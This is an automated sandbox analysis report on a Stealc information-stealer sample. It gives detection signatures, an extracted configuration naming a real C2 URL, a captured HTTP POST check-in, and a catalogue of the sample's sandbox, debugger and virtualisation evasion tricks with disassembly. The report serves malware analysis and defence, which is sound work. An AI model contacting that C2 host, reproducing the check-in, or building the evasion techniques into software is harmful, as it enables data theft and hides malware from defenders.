Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544500
MD5:	ab7d9340bee9cb1f62845fcaea9476cb
SHA1:	aadac5ac21e4e0160dca5ac67727ab5bb436b63b
SHA256:	390a2c58405e383d833df9f7bc6c5abcfa292b73e8297ccfe05c043b084ff29b
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7140 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AB7D9340BEE9CB1F62845FCAEA9476CB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1803312962.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7140	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7140	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.4e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T14:11:19.442782+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49735	185.215.113.206	80	TCP

Code function: 0_2_004E62D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004E62D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 35 32 33 45 39 34 37 37 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="hwid"69523E94770B612331747------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="build"tale------CBAKEBGIIDAFIDHIIECF--

Source: file.exe, 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)
Source: file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php1
Source: file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpI
Source: file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpQ
Source: file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpu
Source: file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/B
Source: file.exe, 00000000.00000002.1845108606.0000000001496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/G
Source: file.exe, file.exe, 00000000.00000003.1803312962.000000000514B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00520098	0_2_00520098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00512138	0_2_00512138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008631FB	0_2_008631FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053B198	0_2_0053B198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054E258	0_2_0054E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093620F	0_2_0093620F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00524288	0_2_00524288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056B308	0_2_0056B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055D39E	0_2_0055D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085937D	0_2_0085937D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050E544	0_2_0050E544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00504573	0_2_00504573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009035F0	0_2_009035F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081E5FC	0_2_0081E5FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005245A8	0_2_005245A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054D5A8	0_2_0054D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055A648	0_2_0055A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005266C8	0_2_005266C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005696FD	0_2_005696FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053D720	0_2_0053D720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00556799	0_2_00556799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092F8BA	0_2_0092F8BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534868	0_2_00534868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054F8D6	0_2_0054F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005398B8	0_2_005398B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E3879	0_2_008E3879
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053B8A8	0_2_0053B8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00550B88	0_2_00550B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F3B9C	0_2_007F3B9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00554BA8	0_2_00554BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055AC28	0_2_0055AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00937C69	0_2_00937C69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00511D78	0_2_00511D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053BD68	0_2_0053BD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00932DDE	0_2_00932DDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092DDF9	0_2_0092DDF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054AD38	0_2_0054AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534DC8	0_2_00534DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00934D0E	0_2_00934D0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00535DB9	0_2_00535DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00528E78	0_2_00528E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00551EE8	0_2_00551EE8

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004E4610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: dlatbedx ZLIB complexity 0.994636372324159

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004F9790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F3970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_004F3970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5QIB3M2K.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2113024 > 1048576

Source: file.exe

Static PE information: Raw size of dlatbedx is bigger than: 0x100000 < 0x198c00

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1803312962.000000000514B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1803312962.000000000514B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.4e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dlatbedx:EW;ncjyujoo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dlatbedx:EW;ncjyujoo:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004F9BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2128e0 should be: 0x20b53e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dlatbedx
Source: file.exe	Static PE information: section name: ncjyujoo
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB093 push 464B3B47h; mov dword ptr [esp], ecx	0_2_009AB116
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB093 push 18542B39h; mov dword ptr [esp], esi	0_2_009AB1CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB093 push 1881A88Ah; mov dword ptr [esp], ecx	0_2_009AB20C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB093 push 7BA374A4h; mov dword ptr [esp], esi	0_2_009AB21F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B30AB push 0B45413Ah; mov dword ptr [esp], edx	0_2_009B3138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B30AB push edx; mov dword ptr [esp], esi	0_2_009B3156
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E30F3 push eax; mov dword ptr [esp], edx	0_2_009E3123
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095F0EF push 01E2FD39h; mov dword ptr [esp], ebx	0_2_0095F11D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095F0EF push 0F78A9D0h; mov dword ptr [esp], ebx	0_2_0095F15B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push esi; mov dword ptr [esp], 693405E4h	0_2_00A37048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push 1B892BD1h; mov dword ptr [esp], edi	0_2_00A3707F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push 1B8CF3A1h; mov dword ptr [esp], eax	0_2_00A37087
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push 35E2E4FFh; mov dword ptr [esp], edi	0_2_00A3709C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push 417918B0h; mov dword ptr [esp], ebx	0_2_00A370CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push eax; mov dword ptr [esp], ecx	0_2_00A370E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3701E push 43343203h; mov dword ptr [esp], ebx	0_2_00A3713A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push ebx; mov dword ptr [esp], edx	0_2_008761AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push ebx; mov dword ptr [esp], edi	0_2_008761B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push eax; mov dword ptr [esp], 32B7A65Ah	0_2_008761BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push edx; mov dword ptr [esp], eax	0_2_008761C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push esi; mov dword ptr [esp], 67C9EEA0h	0_2_00876210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push 68497DBDh; mov dword ptr [esp], edi	0_2_00876226
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push 16EF1105h; mov dword ptr [esp], ebx	0_2_008762D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876187 push 0D4E20A8h; mov dword ptr [esp], ebp	0_2_008762DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095E1BE push 3121B433h; mov dword ptr [esp], edi	0_2_0095E25A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009491DC push ecx; mov dword ptr [esp], edi	0_2_0094B386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF81C7 push ebp; mov dword ptr [esp], 6B57B67Dh	0_2_00BF81C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF81C7 push edx; mov dword ptr [esp], 67DF4CAFh	0_2_00BF81E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008631FB push edi; mov dword ptr [esp], ebx	0_2_00863339
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008631FB push ebp; mov dword ptr [esp], 6378405Bh	0_2_0086336E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008631FB push 7BEE6C96h; mov dword ptr [esp], edi	0_2_008633A6

Source: file.exe

Static PE information: section name: dlatbedx entropy: 7.952200303038952

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_004F9BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-36220

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3E0 second address: 7CE3E6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3E6 second address: 7CE3EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3EB second address: 7CE3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3F1 second address: 7CDC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b jmp 00007F9FD080A014h 0x00000010 jmp 00007F9FD080A016h 0x00000015 popad 0x00000016 push dword ptr [ebp+122D0725h] 0x0000001c cld 0x0000001d call dword ptr [ebp+122D3AFFh] 0x00000023 pushad 0x00000024 xor dword ptr [ebp+122D3920h], edx 0x0000002a xor eax, eax 0x0000002c sub dword ptr [ebp+122D3080h], ecx 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 pushad 0x00000037 xor bh, 00000029h 0x0000003a mov edx, dword ptr [ebp+122D2CD5h] 0x00000040 popad 0x00000041 jmp 00007F9FD080A00Ah 0x00000046 mov dword ptr [ebp+122D2CF1h], eax 0x0000004c jng 00007F9FD080A012h 0x00000052 jmp 00007F9FD080A015h 0x00000057 mov esi, 0000003Ch 0x0000005c jns 00007F9FD080A00Ch 0x00000062 mov dword ptr [ebp+122D3AF4h], esi 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c cld 0x0000006d lodsw 0x0000006f mov dword ptr [ebp+122D3080h], edi 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 stc 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e add dword ptr [ebp+122D3AF4h], edx 0x00000084 nop 0x00000085 push ebx 0x00000086 push eax 0x00000087 push edx 0x00000088 pushad 0x00000089 popad 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDC5A second address: 7CDC5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C900 second address: 93C904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93CA8E second address: 93CADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F9FD0C645F6h 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ecx 0x00000013 pushad 0x00000014 ja 00007F9FD0C645E6h 0x0000001a jmp 00007F9FD0C645EEh 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F9FD0C645EDh 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93CADA second address: 93CADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F195 second address: 93F1AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F9FD0C645E6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 js 00007F9FD0C645E6h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F1AC second address: 93F1C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F9FD080A006h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F1C3 second address: 93F1E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0C645F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F1E5 second address: 93F1EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F1EA second address: 93F1F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F3C8 second address: 93F41D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD080A018h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F9FD080A010h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007F9FD080A006h 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F9FD080A015h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F41D second address: 93F43C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9FD0EA45B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jmp 00007F9FD0EA45BDh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
